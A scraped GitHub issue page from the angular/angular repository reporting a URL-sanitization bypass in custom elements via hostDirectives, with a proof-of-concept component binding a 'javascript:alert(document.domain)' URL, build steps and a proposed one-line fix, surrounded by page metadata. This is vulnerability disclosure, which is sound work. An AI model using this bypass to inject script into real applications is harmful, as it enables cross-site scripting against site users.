René's URL Explorer Experiment


Title: fix(core): ɵɵsanitizeUrlOrResourceUrl unsafe fallback bypasses URL sanitization on custom elements via hostDirectives (incomplete fix for CVE-2026-88057) · Issue #70739 · angular/angular · GitHub

Open Graph Title: fix(core): ɵɵsanitizeUrlOrResourceUrl unsafe fallback bypasses URL sanitization on custom elements via hostDirectives (incomplete fix for CVE-2026-88057) · Issue #70739 · angular/angular

X Title: fix(core): ɵɵsanitizeUrlOrResourceUrl unsafe fallback bypasses URL sanitization on custom elements via hostDirectives (incomplete fix for CVE-2026-88057) · Issue #70739 · angular/angular

Description: Which @angular/* package(s) are the source of the bug? compiler, core Is this a regression? Yes Description Summary This is an incomplete fix for CVE-2026-88057 (GHSA-hh8m-fm6v-7cvg), patched in Angular 22.1.0. The original CVE addressed...

Open Graph Description: Which @angular/* package(s) are the source of the bug? compiler, core Is this a regression? Yes Description Summary This is an incomplete fix for CVE-2026-88057 (GHSA-hh8m-fm6v-7cvg), patched in An...

X Description: Which @angular/* package(s) are the source of the bug? compiler, core Is this a regression? Yes Description Summary This is an incomplete fix for CVE-2026-88057 (GHSA-hh8m-fm6v-7cvg), patched in An...

Opengraph URL: https://github.com/angular/angular/issues/70739

X: @github

direct link

Domain: github.com


Hey, it has json ld scripts:
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"fix(core): ɵɵsanitizeUrlOrResourceUrl unsafe fallback bypasses URL sanitization on custom elements via hostDirectives (incomplete fix for CVE-2026-88057)","articleBody":"### Which @angular/* package(s) are the source of the bug?\n\ncompiler, core\n\n### Is this a regression?\n\nYes\n\n### Description\n\n## Summary\n\nThis is an **incomplete fix for CVE-2026-88057** (GHSA-hh8m-fm6v-7cvg), patched in Angular 22.1.0.\n\nThe original CVE addressed compile-time `SecurityContext` miscalculation for directive host bindings. However, the **runtime fallback path** in `ɵɵsanitizeUrlOrResourceUrl` was not fixed, leaving a silent sanitizer bypass available through the `hostDirectives` composition API.\n\n> Referred from Google VRP (issue filed with OSS VRP program).\n\n---\n\n## Root Cause\n\n**File:** `packages/core/src/sanitization/sanitization.ts` — line 263\n\n```ts\n// VULNERABLE (current)\nexport function ɵɵsanitizeUrlOrResourceUrl(unsafeUrl: any, tag: string, prop: string) {\n  return getUrlSanitizer(tag, prop)?.(unsafeUrl) ?? unsafeUrl;\n}\n```\n\nWhen `getUrlSanitizer()` receives a custom element tag (e.g. `app-link`) not present in the DOM security schema:\n\n1. `getSecurityContext(\"app-link\", \"href\")` → `SecurityContext.NONE`\n2. `getUrlSanitizer()` hits `default` branch → returns `null`\n3. `null?.(unsafeUrl) ?? unsafeUrl` → **raw unsanitized URL returned**\n\nThis allows `javascript:` URLs to reach the DOM silently, with no warning and no `bypassSecurityTrust*` call required.\n\n---\n\n## Compiled Output Proof\n\nThe Angular compiler **intentionally emits** `ɵɵsanitizeUrlOrResourceUrl` for `hostDirectives` host bindings, proving sanitization was intended:\n\n```ts\n// Custom element via hostDirectives — emits bypassable sanitizer ❌\nɵɵattribute(\"href\", ctx.href, ɵɵsanitizeUrlOrResourceUrl);\n\n// Native \u003ca> element — emits safe sanitizer ✅\nɵɵattribute(\"href\", ctx.userInput, ɵɵsanitizeUrl);\n```\n\n---\n\n## Pre-Rendered HTML Proof (SSR/SSG)\n\n```html\n\u003c!-- Native \u003ca> — SANITIZED ✅ -->\n\u003ca id=\"safe-link\" href=\"unsafe:javascript:alert(document.domain)\">Click me (native a)\u003c/a>\n\n\u003c!-- Custom element via hostDirectives — BYPASSED ❌ -->\n\u003capp-link id=\"vuln-link\" href=\"javascript:alert(document.domain)\">Click me (custom element) - XSS!\u003c/app-link>\n```\n\nAngular correctly prefixes `unsafe:` on the native element. The custom element receives the **raw `javascript:` URL** with no sanitization.\n\n---\n\n## Fix\n\nOne-line change in `packages/core/src/sanitization/sanitization.ts`:\n\n```ts\n// BEFORE (vulnerable)\nreturn getUrlSanitizer(tag, prop)?.(unsafeUrl) ?? unsafeUrl;\n\n// AFTER (fixed)\nreturn getUrlSanitizer(tag, prop)?.(unsafeUrl) ?? ɵɵsanitizeUrl(unsafeUrl);\n```\n\nReplacing `?? unsafeUrl` with `?? ɵɵsanitizeUrl(unsafeUrl)` ensures that even when the runtime element is unknown or custom, minimum URL sanitization is always applied.\n\n---\n\n## Reproduction Steps\n\n**1. Create a new Angular project with SSR:**\n```bash\nnpx -y @angular/cli@latest new vuln-poc --routing=false --style=css --ssr=true --skip-tests --skip-git --defaults\ncd vuln-poc\n```\n\n**2. Replace `src/app/app.ts` with the PoC below.**\n\n**3. Build:**\n```bash\nnpx ng build --configuration=development\n```\n\n**4. Inspect pre-rendered HTML:**\n```powershell\n$html = Get-Content \"dist\\vuln-poc\\browser\\index.html\" -Raw\n[regex]::Matches($html, 'href=\"[^\"]*\"') | ForEach-Object { Write-Host $_.Value }\n```\n\nExpected output confirms bypass:\n\nhref=\"unsafe:javascript:alert(document.domain)\" ← SANITIZED (native \u003ca>)\nhref=\"javascript:alert(document.domain)\" ← BYPASSED (custom element)\n\n\n**5. Serve and click the vulnerable link to trigger XSS:**\n```bash\nnpx ng serve --port 4200\n# Open http://localhost:4200\n# Click \"Click me (custom element) - XSS!\"\n# alert(document.domain) executes\n```\n\n---\n\n## PoC Component (`src/app/app.ts`)\n\n```typescript\nimport { Component, Directive, HostBinding, HostListener, Input, PLATFORM_ID, inject } from '@angular/core';\nimport { isPlatformBrowser } from '@angular/common';\n\n@Directive({\n  selector: '[appLink]',\n  standalone: true,\n})\nexport class LinkDirective {\n  @HostBinding('attr.href') @Input() href!: string;\n}\n\n@Component({\n  selector: 'app-link',\n  standalone: true,\n  template: `\u003cng-content>\u003c/ng-content>`,\n  hostDirectives: [{ directive: LinkDirective, inputs: ['href'] }],\n})\nexport class AppLinkComponent {\n  @Input() href!: string;\n\n  @HostListener('click')\n  onClick(): void {\n    if (this.href) window.location.href = this.href;\n  }\n}\n\n@Component({\n  selector: 'app-root',\n  standalone: true,\n  imports: [AppLinkComponent],\n  template: `\n    \u003ca [attr.href]=\"userInput\" id=\"safe-link\">Click me (native a)\u003c/a>\n    \u003capp-link [href]=\"userInput\" id=\"vuln-link\">Click me (custom element) - XSS!\u003c/app-link>\n  `,\n})\nexport class App {\n  userInput = 'javascript:alert(document.domain)';\n}\n```\n\n---\n\n## Environment\n\n| | |\n|---|---|\n| Angular | 22.1.6 (latest stable) |\n| Angular CLI | 22.1.8 |\n| @angular/core | 22.1.6 |\n| @angular/compiler | 22.1.6 |\n| Node.js | 22.23.2 |\n| OS | Windows 10 x64 |\n\n---\n\n## Why This Is Not Intended Behavior\n\n1. **CVE-2026-88057 regression** — Google accepted this exact vulnerability class as a security issue. The 22.1.0 fix was incomplete.\n2. **Compiler intent** — The compiler explicitly emits `ɵɵsanitizeUrlOrResourceUrl` for this binding. If no sanitization were intended, no sanitizer would be emitted.\n3. **Documented guarantee violated** — [angular.dev/best-practices/security](https://angular.dev/best-practices/security) states: *\"Angular automatically sanitizes values bound to URL-sensitive properties.\"* No exception for custom elements is documented.\n4. **No explicit opt-out used** — No `bypassSecurityTrust*` API is called anywhere. The bypass is silent and automatic.\n\n## Affected Files\n\n- `packages/core/src/sanitization/sanitization.ts` — `ɵɵsanitizeUrlOrResourceUrl` (line 263), `getUrlSanitizer` (line 237)\n- `packages/compiler/src/template/pipeline/src/ingest.ts` — `calcHostBindingSecurityContexts`\n- `packages/compiler/src/template/pipeline/src/phases/resolve_sanitizers.ts`\n\n### Please provide a link to a minimal reproduction of the bug\n\nSelf-contained - full PoC is in the Description above (app.ts + build steps). No external repo required. Reproducible with any fresh Angular 22.x SSR project. \n\n### Please provide the exception or error you saw\n\n```true\nNo exception is thrown — the bypass is silent. \n\nBuild warning (only for native \u003ca>, NOT for the vulnerable custom element):\nWARNING: sanitizing unsafe URL value javascript:alert(document.domain)\n(see https://angular.dev/best-practices/security#preventing-cross-site-scripting-xss)\n\nDevTools console on click of vulnerable element:\n(no error — alert(document.domain) executes silently)\n\nPre-rendered DOM confirms bypass:\n\u003capp-link href=\"javascript:alert(document.domain)\">  ← unsanitized in DOM\n```\n\n### Please provide the environment you discovered this bug in (run `ng version`)\n\n```true\nAngular CLI: 22.1.8\nNode: 22.23.2\nPackage Manager: npm 10.9.8\nOS: win32 x64\n\nAngular: 22.1.6\n... common, compiler, compiler-cli, core, platform-browser, platform-server, router, ssr\n\nPackage                      Version\n-----------------------------------------\n@angular/build               22.1.8\n@angular/cli                 22.1.8\n@angular/common              22.1.6\n@angular/compiler            22.1.6\n@angular/compiler-cli        22.1.6\n@angular/core                22.1.6\n@angular/platform-browser    22.1.6\n@angular/platform-server     22.1.6\n@angular/router              22.1.6\n@angular/ssr                 22.1.8\nrxjs                         7.8.2\ntypescript                   6.0.3\n```\n\n### Anything else?\n\nThis report was originally filed with Google's OSS Vulnerability Reward Program.\nThe Google security team reviewed it (priority escalated to P2) and referred it\nto Angular maintainers to address upstream:\n\n> \"We encourage you to work directly with the maintainers of the angular/angular\n> repository by opening public issues and pull requests to address this vulnerability.\n> When you file the report with Angular, please mention that we referred you from the VRP.\"\n\nA one-line patch is proposed in the Description above. Happy to submit a PR if helpful.","author":{"url":"https://github.com/dynamo-pentester","@type":"Person","name":"dynamo-pentester"},"datePublished":"2026-09-15T20:44:27Z","url":"https://github.com/angular/angular/issues/70739"}

react-profiling0
react-import-mapreact,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322
route-pattern/_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format)
route-controllervoltron_issues_fragments
route-actionissue_layout
fetch-noncev2:3d117167-80ed-886e-6e58-d9b53fe0f002
current-catalog-service-hash81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114
request-idC8FE:2A1C6A:6E5928:9BF981:6AFDF259
html-safe-noncea511edb5c86e1e8e471159ac338a09bda2569b49b700468476cc1cc490932bb7
visitor-payloadeyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDOEZFOjJBMUM2QTo2RTU5Mjg6OUJGOTgxOjZBRkRGMjU5IiwidmlzaXRvcl9pZCI6IjYzNzk3OTUwOTUyOTc1ODU3NTMiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ==
visitor-hmacd38d35f927d0e42694c534c39460ab73568fbb9cc83ea9285a13605bcaf2af00
hovercard-subject-tagissue:5467178486
github-keyboard-shortcutsrepository,issues,copilot
google-site-verificationApib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I
octolytics-urlhttps://collector.github.com/github/collect
analytics-location///voltron/issues_fragments/issue_layout
fb:app_id1401488693436528
apple-itunes-appapp-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/angular/angular/70739/issue_layout
twitter:imagehttps://opengraph.githubassets.com/5090ca12086a16c2ff3ac9e4fc374054ae1e2b48aada43b91fe801437581cbb8/angular/angular/issues/70739
twitter:cardsummary_large_image
og:imagehttps://opengraph.githubassets.com/5090ca12086a16c2ff3ac9e4fc374054ae1e2b48aada43b91fe801437581cbb8/angular/angular/issues/70739
og:image:altWhich @angular/* package(s) are the source of the bug? compiler, core Is this a regression? Yes Description Summary This is an incomplete fix for CVE-2026-88057 (GHSA-hh8m-fm6v-7cvg), patched in An...
og:image:width1200
og:image:height600
og:site_nameGitHub
og:typeobject
og:author:usernamedynamo-pentester
hostnamegithub.com
expected-hostnamegithub.com
Nonedd812ec581ecac95855f5ec917ef9827506c39a9da1443f43ddb4179a46471eb
turbo-cache-controlno-preview
go-importgithub.com/angular/angular git https://github.com/angular/angular.git
octolytics-dimension-user_id139426
octolytics-dimension-user_loginangular
octolytics-dimension-repository_id24195339
octolytics-dimension-repository_nwoangular/angular
octolytics-dimension-repository_publictrue
octolytics-dimension-repository_is_forkfalse
octolytics-dimension-repository_network_root_id24195339
octolytics-dimension-repository_network_root_nwoangular/angular
turbo-body-classeslogged-out env-production page-responsive
disable-turbofalse
browser-stats-urlhttps://api.github.com/_private/browser/stats
browser-errors-urlhttps://api.github.com/_private/browser/errors
release32ac708bac264dafdc28e10ff49b4d137f0c34a7
ui-targetfull
theme-color#1e2327
color-schemelight dark
react-app-nameissues

Links:

Skip to contenthttps://github.com/angular/angular/issues/70739#start-of-content
https://github.com/
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fangular%2Fangular%2Fissues%2F70739
GitHubRepository hosting, code review, and collaborationhttps://github.com/platform
CopilotAI coding agent for tasks, projects, and automated workhttps://github.com/features/copilot
ActionsCI/CD and automationhttps://github.com/features/actions
Code QualityQuality analysis, fixes, and enforcementhttps://github.com/features/code-quality
CodespacesCloud development environmentshttps://github.com/features/codespaces
Code SecurityVulnerability detection and remediationhttps://github.com/security/advanced-security/code-security
Secret ProtectionSecret scanning and leak preventionhttps://github.com/security/advanced-security/secret-protection
All Featureshttps://github.com/features
Documentationhttps://docs.github.com/en
Traininghttps://learn.github.com/skills
Certificationshttps://learn.github.com/credentials
Build with Copilothttps://github.com/features/ai
Customize Copilothttps://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-copilot-overview
Integrationshttps://github.com/marketplace
Trending reposhttps://github.com/trending
GitHub Sponsorshttps://github.com/open-source/sponsors
Developer articleshttps://github.com/resources/articles
ChangelogYour source for the latest features, improvements, and fixes across GitHub products, all in one place.https://github.blog/changelog/
Enterpriseshttps://github.com/enterprise
Teamhttps://github.com/team
Startupshttps://github.com/enterprise/startups
Nonprofitshttps://github.com/solutions/industry/nonprofits
Healthcarehttps://github.com/solutions/industry/healthcare
Financial serviceshttps://github.com/solutions/industry/financial-services
Manufacturinghttps://github.com/solutions/industry/manufacturing
Governmenthttps://github.com/solutions/industry/government
See all industrieshttps://github.com/solutions/industry
Why GitHubhttps://github.com/why-github
Customer Storieshttps://github.com/customer-stories
Business insightshttps://github.com/solutions/executive-insights
Trust Centerhttps://github.com/trust-center
GitHub Advanced SecurityEnterprise-grade code securityhttps://github.com/security/advanced-security
Copilot for businessEnterprise-grade AI featureshttps://github.com/features/copilot/copilot-business
Premium SupportEnterprise-grade 24/7 supporthttps://github.com/enterprise/premium-support
Documentationhttps://docs.github.com/en
Resource centerhttps://github.com/resources
Bloghttps://github.blog/
Events & webinarshttps://github.com/resources/events
Community Forumhttps://github.com/orgs/community/discussions
Customer Storieshttps://github.com/customer-stories
Integrationshttps://github.com/marketplace
Customer supporthttps://help.github.com/
Traininghttps://learn.github.com/skills
GitHub Statushttps://www.githubstatus.com/
Abouthttps://github.com/about
Partnershttps://github.com/partners
Changeloghttps://github.blog/changelog/
GitHub UniverseThe event for developers, by developers — talks, workshops, and what’s next for GitHub.https://githubuniverse.com/
Pricinghttps://github.com/pricing
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fangular%2Fangular%2Fissues%2F70739
Sign uphttps://github.com/signup?ref_cta=Sign+up&ref_loc=header+logged+out&ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Fvoltron%2Fissues_fragments%2Fissue_layout&source=header-repo&source_repo=angular%2Fangular
Reloadhttps://github.com/angular/angular/issues/70739
Reloadhttps://github.com/angular/angular/issues/70739
Reloadhttps://github.com/angular/angular/issues/70739
angularhttps://github.com/angular
angularhttps://github.com/angular/angular
Codehttps://github.com/angular/angular
Issues833 (833)https://github.com/angular/angular/issues
Pull requests122 (122)https://github.com/angular/angular/pulls
Discussionshttps://github.com/angular/angular/discussions
Actionshttps://github.com/angular/angular/actions
Projectshttps://github.com/angular/angular/projects
Security and quality40 (40)https://github.com/angular/angular/security
Insightshttps://github.com/angular/angular/insights
https://github.com/angular/angular
New issuehttps://github.com/login?return_to=https://github.com/angular/angular/issues/70739
New issuehttps://github.com/login?return_to=https://github.com/angular/angular/issues/70739
fix(core): ɵɵsanitizeUrlOrResourceUrl unsafe fallback bypasses URL sanitization on custom elements via hostDirectives (incomplete fix for CVE-2026-88057)https://github.com/angular/angular/issues/70739#top
area: coreIssues related to the framework runtimehttps://github.com/angular/angular/issues?q=state%3Aopen%20label%3A%22area%3A%20core%22
needsTriagehttps://github.com/angular/angular/milestone/83
https://github.com/dynamo-pentester
dynamo-pentesterhttps://github.com/dynamo-pentester
on Sep 15, 2026https://github.com/angular/angular/issues/70739#issue-5467178486
CVE-2026-88057https://github.com/advisories/GHSA-hh8m-fm6v-7cvg
GHSA-hh8m-fm6v-7cvghttps://github.com/advisories/GHSA-hh8m-fm6v-7cvg
CVE-2026-88057https://github.com/advisories/GHSA-hh8m-fm6v-7cvg
angular.dev/best-practices/securityhttps://angular.dev/best-practices/security
angular-robothttps://github.com/apps/angular-robot
area: coreIssues related to the framework runtimehttps://github.com/angular/angular/issues?q=state%3Aopen%20label%3A%22area%3A%20core%22
gemini-triagedhttps://github.com/angular/angular/issues?q=state%3Aopen%20label%3A%22gemini-triaged%22
on Sep 15, 2026https://github.com/angular/angular/issues/70739#event-31202705223
ngbothttps://github.com/apps/ngbot
needsTriagehttps://github.com/angular/angular/milestone/83
on Sep 15, 2026https://github.com/angular/angular/issues/70739#event-31202706958
angular-robothttps://github.com/apps/angular-robot
needsTriagehttps://github.com/angular/angular/milestone/83
on Sep 15, 2026https://github.com/angular/angular/issues/70739#event-31202707373
https://github.com/SkyZeroZx
SkyZeroZxhttps://github.com/SkyZeroZx
on Sep 15, 2026https://github.com/angular/angular/issues/70739#issuecomment-5687994532
#69558 (review)https://github.com/angular/angular/pull/69558#pullrequestreview-4601998179
angular/packages/core/test/acceptance/security_spec.tshttps://github.com/angular/angular/blob/c60c41e29aa175ca25b0e91a40f5ab115b46139f/packages/core/test/acceptance/security_spec.ts#L962-L976
c60c41ehttps://github.com/angular/angular/commit/c60c41e29aa175ca25b0e91a40f5ab115b46139f
https://github.com/JeanMeche
JeanMechehttps://github.com/JeanMeche
on Sep 15, 2026https://github.com/angular/angular/issues/70739#issuecomment-5688043524
JeanMechehttps://github.com/JeanMeche
not plannedhttps://github.com/angular/angular/issues?q=is%3Aissue%20state%3Aclosed%20archived%3Afalse%20reason%3Anot-planned
on Sep 15, 2026https://github.com/angular/angular/issues/70739#event-31203663553
https://github.com/apps/angular-automatic-lock-bot
angular-automatic-lock-bothttps://github.com/apps/angular-automatic-lock-bot
on Oct 25, 2026https://github.com/angular/angular/issues/70739#issuecomment-6391355609
automatic conversation locking policyhttps://github.com/angular/angular/blob/f0fbced1c55bc8b8ed9df01cea99df42f3e7eae3/contributing-docs/auto-issue-locking.md
angular-automatic-lock-bothttps://github.com/apps/angular-automatic-lock-bot
on Oct 25, 2026https://github.com/angular/angular/issues/70739#event-34156878933
Sign up for freehttps://github.com/signup?return_to=https://github.com/angular/angular/issues/70739
Sign in to commenthttps://github.com/login?return_to=https://github.com/angular/angular/issues/70739
area: coreIssues related to the framework runtimehttps://github.com/angular/angular/issues?q=state%3Aopen%20label%3A%22area%3A%20core%22
needsTriageNo due datehttps://github.com/angular/angular/milestone/83
https://github.com
Termshttps://docs.github.com/site-policy/github-terms/github-terms-of-service
Privacyhttps://docs.github.com/site-policy/privacy-policies/github-privacy-statement
Securityhttps://github.com/security
Statushttps://www.githubstatus.com/
Communityhttps://github.community/
Docshttps://docs.github.com/
Contacthttps://support.github.com?tags=dotcom-footer

Viewport: width=device-width


URLs of crawlers that visited me.